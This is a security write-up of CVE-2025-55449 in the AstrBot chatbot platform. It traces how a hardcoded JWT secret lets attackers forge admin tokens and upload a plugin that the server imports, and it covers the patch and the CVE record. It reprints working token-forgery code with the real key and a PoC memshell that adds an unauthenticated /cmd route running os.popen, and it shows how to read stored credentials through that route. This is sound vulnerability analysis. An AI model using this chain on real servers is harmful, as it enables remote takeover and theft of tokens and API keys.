//nefariousplan

CVE-2025-55449: AstrBot's JWT Secret Is The Backronym Of AstrBot

pattern

cve

Line 16 of astrbot/core/__init__.py, two lines after the package's os.makedirs call and before anything that uses it, defines WEBUI_SK. The value is the string "Advanced_System_for_Text_Response_and_Bot_Operations_Tool". The constant signs every JSON Web Token AstrBot's dashboard issues, and the dashboard verifies every inbound /api/* request against the same constant. The first letters of the seven words in the string spell ASTRBOT.

CVE-2025-55449 is what happens when an LLM-agent chatbot platform with a 1000-plugin marketplace, a Docker pull badge, and a default listen address of 0.0.0.0:6185 treats "choose a JWT secret" as a thing the brand can do for itself. AstrBotDevs published the backronym at module load. The dashboard administrators who deployed it published an admin signing key every time a clone of the repository hit a registry.

The Constant Is The Backronym

The vulnerable code is two assignments in the package's __init__.py:

# astrbot/core/__init__.py, lines 16-17 (v3.5.15)
WEBUI_SK = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
DEMO_MODE = os.getenv("DEMO_MODE", False)

DEMO_MODE reads from the environment. WEBUI_SK does not. The string is a literal, baked into the source, identical across every clone, every Docker image, every pip install. The first letters of the words are A-S-T-R-B-O-T. The product is named AstrBot. The secret used to sign administrative JWTs is the long form of the product name.

WEBUI_SK is imported by the JWT issuer and the JWT verifier:

# astrbot/dashboard/routes/auth.py, line 83
token = jwt.encode(payload, WEBUI_SK, algorithm="HS256")
# astrbot/dashboard/server.py, line 91
payload = jwt.decode(token, WEBUI_SK, algorithms=["HS256"])

Same constant, both sides. No environment-variable fallback. No first-run generation. No rotation hook. No documentation telling the administrator to set anything. The administrator who deploys AstrBot is not asked to pick a secret; the secret is in the source code they pulled.

The Middleware Validates The Signature. The Signature Is Public.

The dashboard's auth_middleware runs before every request:

# astrbot/dashboard/server.py
async def auth_middleware(self):
    if not request.path.startswith("/api"):
        return
    allowed_endpoints = ["/api/auth/login", "/api/file"]
    if any(request.path.startswith(prefix) for prefix in allowed_endpoints):
        return
    token = request.headers.get("Authorization")
    if not token:
        r = jsonify(Response().error("未授权").__dict__)
        r.status_code = 401
        return r
    if token.startswith("Bearer "):
        token = token[7:]
    try:
        payload = jwt.decode(token, WEBUI_SK, algorithms=["HS256"])
        g.username = payload["username"]
    except jwt.ExpiredSignatureError:
        # ...

Two exemptions: login and the file route. Every other /api/* endpoint demands a Bearer token, verifies it with WEBUI_SK, and lets the request through if the signature checks out. The middleware reads payload["username"] and writes it onto g.username. It does not check the username against any account record. The signature is the whole gate.

Forging the token is twelve lines of Python:

import jwt, datetime
key = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
payload = {
    "username": "admin",
    "exp": datetime.datetime.utcnow() + datetime.timedelta(days=7),
}
forged = jwt.encode(payload, key, algorithm="HS256")

Both public PoCs are this code with different usernames. xhh1h's PoC uses "admin". Marven11's uses "114514". Neither is a real AstrBot account; neither needs to be. The middleware doesn't check.

The Forged Admin Posts A Zip. The Server Imports Its Contents.

/api/plugin/install-upload is registered on the PluginRoute. The handler is forty lines, gated only by a DEMO_MODE check:

# astrbot/dashboard/routes/plugin.py
async def install_plugin_upload(self):
    if DEMO_MODE:
        return Response().error("You are not permitted...").__dict__
    try:
        file = await request.files
        file = file["file"]
        logger.info(f"正在安装用户上传的插件 {file.filename}")
        file_path = f"data/temp/{file.filename}"
        await file.save(file_path)
        plugin_info = await self.plugin_manager.install_plugin_from_file(file_path)
        # ...

install_plugin_from_file unzips to data/plugins/<dir>/ and calls self.load(specified_dir_name=dir). load constructs an import path and hands it to Python:

# astrbot/core/star/star_manager.py, line 394-407
path = "data.plugins." if not reserved else "packages."
path += root_dir_name + "." + module_str
# ...
module = __import__(path, fromlist=[module_str])

The argument to __import__ is a module string the attacker controls, pointing at a file the attacker uploaded. Python's import system executes the module's top-level code when the import runs. The chain is: forge the JWT against a public constant, POST a zip whose main.py contains top-level code, get that code executed in the dashboard process.

The Plugin Registers A Route Outside The Middleware

Both PoCs ship a main.py whose entire body is a single list comprehension. xhh1h's reads:

from astrbot.api.event import filter
from astrbot.api.star import Context, Star, register
from astrbot.core.platform.astr_message_event import AstrMessageEvent

_ = [
    __import__('time').sleep(3)
    for quart in [__import__("quart")]
    for app in __import__("gc").get_objects()
    if type(app) == quart.Quart
    for jinja_globals in [app.jinja_env.globals]
    for cmd in [
        lambda: __import__('os').popen(jinja_globals["request"].args.get("cmd", "id")).read()
    ]
    if [
        app.__dict__.update({'_got_first_request': False}),
        app.add_url_rule("/cmd", endpoint="cmd", view_func=cmd)
    ]
]

Read what the comprehension does. gc.get_objects() returns every Python object the garbage collector tracks, including the running Quart application instance that AstrBotDashboard.__init__ constructed thirty methods earlier. The type(app) == quart.Quart filter picks it out. app.add_url_rule("/cmd", endpoint="cmd", view_func=cmd) registers a new URL on the live app, pointing at a lambda that reads ?cmd= from the request and pipes it to os.popen.

The new route is /cmd. Not /api/cmd. The auth middleware exits at its first check:

async def auth_middleware(self):
    if not request.path.startswith("/api"):
        return

The middleware was never asked about /cmd. The lambda runs. GET /cmd?cmd=whoami returns the output of whoami from the AstrBot process's UID. GET /cmd?cmd=cat%20data/cmd_config.json returns the dashboard administrator's stored credentials, every configured platform token, and the LLM API keys the operator pasted into the panel.

The middleware required the forged JWT for the install. The memshell, once installed, does not require the forged JWT to be used. The attacker pays the JWT cost once, then has a persistent unauthenticated os.popen endpoint that ships with no auth check whatsoever, because the loader runs at import time and the route it registers is not under the middleware's scope.

This Is Unauth Write To Execution Path. The Auth Was Public.

Unauth Write To Execution Path is the shape that produces a CVE every quarter in some product whose write directory overlaps its execute path. It produced CVE-2026-3844 in Breeze Cache. It produced CVE-2026-0740 in Ninja Forms. It produced CVE-2026-3891 in Pix for WooCommerce. It produced SAP NetWeaver's CVSS 10.0 last year. The substrate is the same every time: an HTTP write reaches a path the runtime later executes.

AstrBot is the same shape with a specific decoration. The unauth requirement is satisfied not by a missing check but by a check whose secret is public. JWT verification is configured. JWT verification runs on the install endpoint. JWT verification accepts the forgery, because the signing key is line 16 of the package init.

The execution path here is not a webroot. It is CPython's import system. data/plugins/ becomes part of the import graph because star_manager.load constructs the dotted module name and calls __import__. The next call to load after the unzip imports whatever was zipped. The kinship to n8n's Git node is that both products embed a runtime sink at the destination of their write path. n8n's gate was authentication that worked. AstrBot's gate is authentication that didn't.

The catalog's prior write-to-execute exhibits divide into two clean halves: the unauthenticated ones where the gate was missing, and the authenticated ones where the gate ran. AstrBot is a third position the pattern hadn't carried before. The gate is present, the gate runs, the gate's key is on GitHub.

The Fix Was os.urandom. The Branch Name Was fix-hc-jwt.

The patch is one commit: d03e9fb9 fix: jwt secret, merged via PR #1900 on 2025-06-23. The branch on the PR was named fix-hc-jwt. hc is a contraction. There is one expansion.

The diff:

--- a/astrbot/core/__init__.py
+++ b/astrbot/core/__init__.py
@@ -13,7 +13,6 @@ from .utils.astrbot_path import get_astrbot_data_path
 # 初始化数据存储文件夹
 os.makedirs(get_astrbot_data_path(), exist_ok=True)

-WEBUI_SK = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
 DEMO_MODE = os.getenv("DEMO_MODE", False)

And in server.py:

+    def _init_jwt_secret(self):
+        if not self.config.get("dashboard", {}).get("jwt_secret", None):
+            jwt_secret = os.urandom(32).hex()
+            self.config["dashboard"]["jwt_secret"] = jwt_secret
+            self.config.save_config()
+            logger.info("Initialized random JWT secret for dashboard.")
+        self._jwt_secret = self.config["dashboard"]["jwt_secret"]

os.urandom(32).hex() is what every Flask quickstart writes when the tutorial says "store a JWT secret." Persisting to config and re-reading on next start is a normal pattern. The fix is what a developer writes the day they decide to write it. Soulter wrote it on June 23, 2025.

Release v3.5.17 was tagged at 2025-06-23 01:17 +0800. The fix landed at 12:36 +0800, eleven hours later. v3.5.17 is the last release that shipped the backronym. v3.5.18 and later have os.urandom.

CVE-2025-55449 was published on NVD at 2026-05-08 07:16. The fix predates the disclosure by 10 months and 16 days. The earliest public PoC commit (Marven11/CVE-2025-55449-AstrBot-RCE) is dated 2025-11-11, five months after the patch and six months before the CVE. xhh1h's PoC is dated 2025-12-10, a month after Marven11's.

Three artifacts describe this vulnerability. The patch closes the bug end-to-end. The PoCs ship the full chain through to os.popen. The CVE description names only the hardcoded key. The NVD record's CVSS is 7.3 with C:L/I:L/A:L; the chain in this post is a one-curl RCE that owns the dashboard process. The CVE scored what the description said. The description said "hardcoded private key used to sign a JWT." It did not say "plus a plugin install endpoint that calls __import__ on the upload's contents."

The CVE record also names "AstrBot 3.5.15" as the vulnerable version. The patch landed after 3.5.17. Every release from December 3, 2024, when the JWT auth code first shipped, through v3.5.17 inclusive, was vulnerable. The record's version field is the version the filer happened to be looking at.

What The Administrator Inherited

The AstrBot administrator running v3.5.17 on a VPS, exposing port 6185 to the public internet because the docs say host = "0.0.0.0" and the panel needs to be reachable from a phone, is not the victim of a sophisticated supply-chain attack. They are the victim of a chatbot platform that stored its admin signing key in a string literal whose initials are the project's name, did not document that the key needed to be changed, did not provide a mechanism to change it without editing the package source, and quietly replaced it with os.urandom eleven months before the CVE that names the original.

The PoCs do not require a target list. xhh1h's main.py reads URLs from ip.txt, one per line, and runs the chain against each in turn. The architecture of the PoC is a scanner-and-exploiter that loops over hosts and prints /cmd?cmd=id for the ones where the install returned 安装成功 (installed successfully). The default port 6185 makes Shodan and Censys queries trivial. The brand-name backronym makes verification trivial. The administrator has no control over the credential they were issued by virtue of running the software.

PoC: xhh1h/CVE-2025-55449, Marven11/CVE-2025-55449-AstrBot-RCE

WEBUI_SK is the product name with the spaces left in. So was the disclosure.